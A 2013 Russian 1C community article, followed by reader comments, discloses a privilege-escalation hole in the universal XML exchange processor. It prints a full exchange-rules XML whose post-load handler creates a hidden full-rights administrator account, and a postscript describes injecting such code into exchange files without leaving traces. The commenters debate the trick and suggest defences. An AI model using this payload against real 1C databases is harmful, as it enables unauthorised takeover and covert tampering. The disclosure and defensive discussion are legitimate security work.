Обработка универсального обмена XML и информационная безопасность типовых решений.

15.04.13

Администрирование - Информационная безопасность

Обработка универсального обмена XML - дыра в информационной безопасности типовых?
Статья к обсуждению.

Серверная база, настроены роли и РЛС, даже у главбуха нет доступа ко всем организациям. Административные права только у администратора, добавлять пользователей/роли только через служебные записки. Знакомо?
А теперь добавим в эту базу маленького скромного менеджера, у которого из прав только - выгружать/загружать данные. Либо непосредственно через обработку универсального обмена XML, либо через справочник настройки обмена(права на обработку - только использование).
Казалось бы, загружать/выгружать данные менеджер может только те, которые ему доступны. Теоретически это так, однако при серьезном подходе через эту обработку он может получить полный и неограниченный доступ к БД. Например, если ему доступна форма обработки, он может создать файл xml, с кодом:

(ПравилаОбмена)
(ВерсияФормата)
2.01
(/ВерсияФормата)
(Ид)
e4d7c6e2-e768-43ee-ac67-18c27fe63791
(/Ид)
(Наименование)
УправлениеТорговлей 11 --) УправлениеТорговлей 11
(/Наименование)
(ДатаВремяСоздания)
2013-04-13T21:59:02
(/ДатаВремяСоздания)
(Источник ВерсияПлатформы="8.0" ВерсияКонфигурации="11.0.9.14" СинонимКонфигурации="Управление торговлей, редакция 11.0")
УправлениеТорговлей
(/Источник)
(Приемник ВерсияПлатформы="8.0" ВерсияКонфигурации="11.0.9.14" СинонимКонфигурации="Управление торговлей, редакция 11.0")
УправлениеТорговлей
(/Приемник)
(ПослеЗагрузкиПравилОбмена)
УстановитьПривилегированныйРежим(Истина); Пользователь = ПользователиИнформационнойБазы.СоздатьПользователя(); Пользователь.Имя = "Хакер"; Пользователь.АутентификацияСтандартная = Истина; Пользователь.Роли.Добавить(метаданные.роли.ПолныеПрава); Пользователь.Роли.Добавить(метаданные.роли.Администрирование); Пользователь.Записать();
(/ПослеЗагрузкиПравилОбмена)
(Параметры/)
(Обработки/)
(ПравилаКонвертацииОбъектов/)
(ПравилаВыгрузкиДанных/)
(ПравилаОчисткиДанных/)
(Алгоритмы/)
(Запросы/)
(/ПравилаОбмена)

и загрузить этот файл, как правило обмена. Прочитать правила обработкой и получить пользователя с полными и административными правами к базе. аналогичным образом можно вывести любую информацию, привилегированный режим позволит выполнить любой запрос к базе данных.
Если нет доступа к обработке, но пользователь совершает загрузку данных - аналогично подменяется xml-файл загрузки.

Вот такие дела вобщем. Проверено на серверной базе. Типовой. Возможно, все об этом и так знали, но кто-то возможно и задумается. давать право выполнять обмены пользователю с неполными правами - значит дать ему полный доступ к вашей базе данных. А раз такой доступ ему не полагается - значит, вы рискуете информационной безопасностью. Может вам повезет. А может и нет, решать вам.

 

зы. И кстати, не обязательно иметь доступ к этой обработке и базе вообще. достаточно иметь доступ к файлу выгрузки, который будет загружаться в вашу базу. В него можно добавить свой код, который выполнится тем человеком(или роботом), который выполняет обмен. После выполнения обмена файл удалится, а все действия в журнале регистрации будут записаны от имени того, кто выполнял обмен. И никаких следов, все чисто.

См. также

AUTO VPN (portable)

Информационная безопасность Платные (руб)

Автоматизация подключения пользователей к удаленному рабочему месту или сети посредством создания автоматического VPN (L2TP или L2TP/IPSEC и т.д.) подключения без ввода настроек пользователем (с возможностью скрытия этих настроек от пользователя). Программа автоматически выполняет подключение к VPN серверу и после успешного коннекта , если необходимо, подключение к серверу удаленных рабочих столов (RDP).

1200 руб.

24.03.2020    14397    22    32    

33

Настройка аутентификации в 1С с использованием стандарта RFC 7519 (JWT)

Информационная безопасность Платформа 1С v8.3 Бесплатно (free)

Рассмотрим в статье более подробную и последовательную настройку аутентификации в 1С с использованием распространенной технологии JWT, которая пришла в программу в платформе версии 8.3.21.1302.

27.02.2024    2608    PROSTO-1C    9    

29

Device flow аутентификация, или туда и обратно

Информационная безопасность Платформа 1С v8.3 Абонемент ($m)

Интеграционные решения стали неотъемлемой частью нашей жизни. Правилом хорошего тона в современных приложениях является не давать интегратору доступ к чувствительным данным. Device flow позволяет аутентифицировать пользователя, не показывая приложению чувствительные данные (например: логин и пароль)<br> Рассмотрим Device flow аутентификацию, в приложении, на примере OpenID провайдера Yandex.

1 стартмани

27.10.2023    1618    platonov.e    1    

23

Анализатор безопасности базы сервера 1С

Информационная безопасность Платформа 1С v8.3 Конфигурации 1cv8 Россия Абонемент ($m)

Продукты на основе решений 1С уверенной поступью захватывают рынок учётных систем в стране. Широкое распространение программ всегда порождает большой интерес к ним со стороны злоумышленников, а пользователь 1С это одна из дверей в защищённый информационный контур предприятия. Обработка позволяет быстро и комплексно оценить настройки безопасности конкретной базы и возможности пользователя этой базы на сервере. Также можно оценить некоторые аспекты сетевой безопасности предприятия со стороны сервера 1С.

5 стартмани

24.04.2023    5438    14    soulner    7    

29

Двухфакторная аутентификация в 1С через Telegram и Email

Информационная безопасность Платформа 1С v8.3 1С:ERP Управление предприятием 2 Абонемент ($m)

1С, начиная с версии платформы 8.3.21, добавили в систему возможность двойной аутентификации. Как это работает: в пользователе информационной базы появилось свойство «Аутентификация токеном доступа» (АутентификацияТокеномДоступа во встроенном языке), если установить этот признак и осуществить ряд манипуляций на встроенном языке, то появляется возможность при аутентификации отправлять HTTP запросы, которые и реализуют этот самый второй фактор. Данное расширение позволяет организовать двухфакторную аутентификацию с помощью электронной почты или мессенджера Telegram.

2 стартмани

08.12.2022    5968    32    Silenser    12    

23

История одного взлома или проверьте вашу систему на безопасность

Информационная безопасность Платформа 1С v8.3 Конфигурации 1cv8 Бесплатно (free)

От клиента клиенту, от одной системы к другой, мы вновь и вновь встречаем одни и те же проблемы и дыры в безопасности. На конференции Infostart Event 2021 Post-Apocalypse Виталий Онянов рассказал о базовых принципах безопасности информационных систем и представил чек-лист, с помощью которого вы сможете проверить свою систему на уязвимость.

26.10.2022    9244    Tavalik    46    

113
Комментарии
В избранное Подписаться на ответы Сортировка: Древо развёрнутое
Свернуть все
1. andrewks 1368 15.04.13 13:34 Сейчас в теме
1С - доступно и всерьёз ©
18. yuraos 991 17.04.13 06:20 Сейчас в теме
(1) andrewks,

1С - доступно и всерьёз ©

Hackers of all Wold - HACK IT !!!
2. Поручик 4670 15.04.13 13:42 Сейчас в теме
(0) Маленький скромный менеджер со знанием архитектуры и нюансов среды.
Ржал, как последняя кобыла.
CrazyCD; Михаська; ZLENKO; Ibrogim; СергейКа; yuraos; +6 Ответить
6. kapustinag 15.04.13 14:26 Сейчас в теме
(2) Поручик, Думаю, тут не до смеха все-же. Потому что, даже если не найдется "маленького и скромного менеджера со знанием и т д.", у менеджера может найтись друг/знакомый/враг/иной человек, от которого тот зависит, который сможет сделать файл для подмены, и подменить его руками менеджера.
Мах; amon_ra; +2 Ответить
3. andrewks 1368 15.04.13 13:48 Сейчас в теме
После выполнения обмена файл удалится


почему удалится?
7. kapustinag 15.04.13 14:46 Сейчас в теме
(3) andrewks, (4) Поручик, Конечно, файл не удалится. Но следующий файл, пришедший по обмену, имеет то же самое имя. Поэтому, если никакого архивирования файлов обмена не делается, файл будет затерт более новым файлом. Концы в воду.

Конечно, Вы это и так знаете. То есть, автор не очень четко написал о последствиях. Но проблема все-равно имеется, это ясно.
8. andrewks 1368 15.04.13 15:16 Сейчас в теме
(7) kapustinag,
Но проблема все-равно имеется, это ясно

угу. даёшь защищённый документооборот для обменов!
4. Поручик 4670 15.04.13 14:03 Сейчас в теме
После выполнения обмена файл удалится

Тоже вброшу. С чего бы? В типовых обменах он остаётся на месте, там и близко нет удаления.
5. wirg 15.04.13 14:19 Сейчас в теме
Кстати не стоит недооценивать сообразительность офисного планктона. Вот случай из реальной жизни: довелось мне (еще в эпоху 7.7) автоматизировать ресторан. Технические подробности не очень интересны, но смысл в том, что счет клиенту выводился на экран, официант его распечатывал и нес получившему удовольствие челу. Однажды меня вызвонил разгневанный хозяин и показал счет, в котором сумма по строкам оказалась не равна общей сумме. Как показало следствие я забыл включить защиту для табличного документа mxl, а догадливый официант эту фишку просек и стал спокойно править итоговую сумму, в какую сторону сами знаете. В общем теперь руководствуюсь принципом: любая лазейка рано или поздно будет обнаружена и использована.
jan27; KandKonst; sCHTASS; lana_veta; Roman24; Михаська; bulpi; amon_ra; +8 Ответить
9. cool.vlad4 2 15.04.13 15:28 Сейчас в теме
я это заметил еще в http://forum.infostart.ru/forum26/topic38078/message431224/#message431224 , но как-то мысль тогда не развил. но без сомнений - это дыра.
10. davdykin 25 15.04.13 18:05 Сейчас в теме
Однако, даже не думал в этом направлении, статья безусловно интересная и наводит на определенные размышления. Так что возможно скоро будут фильмы про "Хакеров 1С" :). А на счет офисного планктона - так любопытство - хуже злого умысла.
11. Yashazz 4709 15.04.13 18:12 Сейчас в теме
Архивировать с паролем надо эти файлы обмена, вот что. Хоть какая защита будет. Или передавать так, чтоб перехватить не было возможности, или com-xml-обмен гонять.
12. Stim213 415 15.04.13 21:23 Сейчас в теме
(11)Архивировать безусловно надо, равно как и настроить доступ к каталогу обмена(если речь идет о спр настройка обмена данными).
Но если есть доступ к обработке унив обмена XML, то все бесполезно.
13. Stim213 415 15.04.13 23:06 Сейчас в теме
+ форматирование кода ни к черту, заменил теги скобками
14. rozer 306 16.04.13 08:36 Сейчас в теме
уфф, хорошо что у нас "самописка" на 8.1... УстановитьПривилегированныйРежим(Истина) придумали только в 8.2 :) Хотя в "ПослеЗагрузкиПравилОбмена" можно добавить и любую деструкцию... например удалить непосредственно если роль позволяет :(
15. Silenser 592 16.04.13 11:29 Сейчас в теме
Прошу прощения, а в какой вселенной у
скромного менеджера
права на
выгружать/загружать данные. Либо непосредственно через обработку универсального обмена XML, либо через справочник настройки обмена(права на обработку - только использование).
, то есть фигурально выражаясь, права на внешние обработки или доступ к системным настройкам обменов? При таком подходе они на флешке такого принесут, что потом бекап не спасет. Если уж нужно что-то универсальное, пишите оболочку над универсалкой и ставьте пароль на архив файла обмена. Тут нужно исходить из законов Мерфи, если пользователи могут что-то поломать - они поломают, надеяться на здравый смысл бесполезно.
16. soba 16.04.13 16:26 Сейчас в теме
Вот это дырочка! Похоже при настройке обменов нужно жестко все прописывать без возможности изменения, отключать достп к файлам обмена и шифровать/дешифровать на этапе транспортировки. Код получения доступа зачетный. И, кстати, никто ведь не мешает с правами админа зачистить логи по получению прав. Или я не прав?
17. stagov 11 17.04.13 00:59 Сейчас в теме
(16) soba,
А разве она там одна!? Ваше удивление просто обескураживает.
23. soba 17.04.13 13:46 Сейчас в теме
(17) stagov, Ну такая действительно удивила. Как-то не приходилось в этом направлении ковыряться
24. stagov 11 17.04.13 14:15 Сейчас в теме
(23) soba,
таки да. народ то наш придумковатый. и любознательный
19. СергейКа 669 17.04.13 06:42 Сейчас в теме
На самом деле есть некоторые нюансы :)
Данный код сработает не всегда и не везде.
Дырка безусловно есть, но не все так страшно.
20. МимохожийОднако 141 17.04.13 07:42 Сейчас в теме
1С по своей сути мало приспособлена для защиты информации от чтения и\или изменения.
21. Stim213 415 17.04.13 11:05 Сейчас в теме
(20) Особенно файловая база :)
22. Stim213 415 17.04.13 11:28 Сейчас в теме
+ практическое продолжение статьи:
http://infostart.ru/public/183336/
25. s_uu 22 18.04.13 16:32 Сейчас в теме
а нельзя настроить автоматический обмен??
26. yuraos 991 18.04.13 16:49 Сейчас в теме
(25) s_uu,
в каком смысле автоматический обмен?
спамить по почте файликами с хакерской ХМЛ-загрузкой
и подламывать всем 1С-ки ???
27. iov 406 22.04.13 12:02 Сейчас в теме
способ этот известен. он позволяет даже больше. Но на всеобщее не был выложен... Чтож теперь нужны статьи как защищаться.
Хотя решения аналогичны тем которые используют при конфиденциальной передаче информации.
Хотя говорить о защищенности 1С вообще не стоит.
28. LexSeIch 210 22.04.13 13:02 Сейчас в теме
Мир этому дому!
Автору спасибо за статью. Предупрежден - значит вооружен. Хотя на счет вооружен - погорячился... Защитится от деструктивных действий пользователей не просто. Статус (или ответственность) человека делающего обмен повышается. "Практические приложения" - появляются и будут расти как грибы...
29. Evil Beaver 8107 22.04.13 14:01 Сейчас в теме
Не хочется лезть проверять, но разве код из правил не выполняется в безопасном режиме? Если так, то УстановитьПривилегированныйРежим не сработает.
Bassgood; +1 Ответить
30. yuraos 991 22.04.13 17:42 Сейчас в теме
Проверка спама из рубрики "Выбор экспертов" (дубль 1).
31. yuraos 991 22.04.13 18:13 Сейчас в теме
(30)
Проверка спама из рубрики "Выбор экспертов" (дубль 2).
32. ta44ik 57 25.04.13 04:11 Сейчас в теме
А еще это способ восстановить пароль - точнее создать пользователя с правами на конфигуратор) Всякое же бывает)
33. ivanov660 4330 28.04.13 21:57 Сейчас в теме
Вроде это баян. Всем давно известно, что использование универсального обмена без контроля может обернуться проблемами, я сам, частенько, когда что-то отлаживаю правлю код прямо в xml файле.
Однако, можно использовать бекап sql-серверов, защищенные папки для обмена (глупо использовать папку для обмена с общим доступом), использовать антивирусы и др. стандартные средства.
34. Bassgood 1425 06.05.13 18:52 Сейчас в теме
(0) А зачем вообще заморачиваться именно с обработкой обмена?
Если у пользователя есть право использования внешних отчетов/обработок, то аналогичный код он может прописать в своей собственной обработке/отчете и запустить его в режиме предприятия, результат будет тот же, только морочиться придется меньше.
35. Bassgood 1425 06.05.13 19:36 Сейчас в теме
(0) Судя справке синтакс-помощника к методу "УстановитьПривилегированныйРежим()" - в клиент-серверном режиме работы базы метод управляет привилегированным исполнением кода только при его вызове на стороне сервера, т.е. в обычном режиме работы конфигурации через обработки/отчеты установить этот режим не получится (модуль объекта и формы исполняются на стороне клиента), то что касается управляемых форм, то для предотвращения таких случаев необходимо использовать метод "УстановитьБезопасныйРежим()", о чем было упомянуто в (29).
Т.е. получается, что права на использование внешних штук куда более опасная вещь, нежели права на выполнение обменов данными.
36. gradus 12.05.13 23:06 Сейчас в теме
Проверено на серверной базе.

Интересно, а файловый режим работы с базой данных будет иметь эту уязвимость? Или там своих хватает) ?
38. xamass 4 29.10.14 16:05 Сейчас в теме
(36) gradus, Выгрузка загрузка данных не зависит от среды хранения базы
37. alexqc 150 13.05.13 09:46 Сейчас в теме
Одно из первейших правил: никакого выполнения пользовательских данных!
39. bayce 45 02.10.20 12:01 Сейчас в теме
Данную проблему можно решить уровнями доступа на папку с файлом обмена. В идеале обмен идет на сервере, где доступ имеет, только IT отдел. Так, что больших проблем в этом не вижу, если правильно построена инфраструктура предприятия.
Оставьте свое сообщение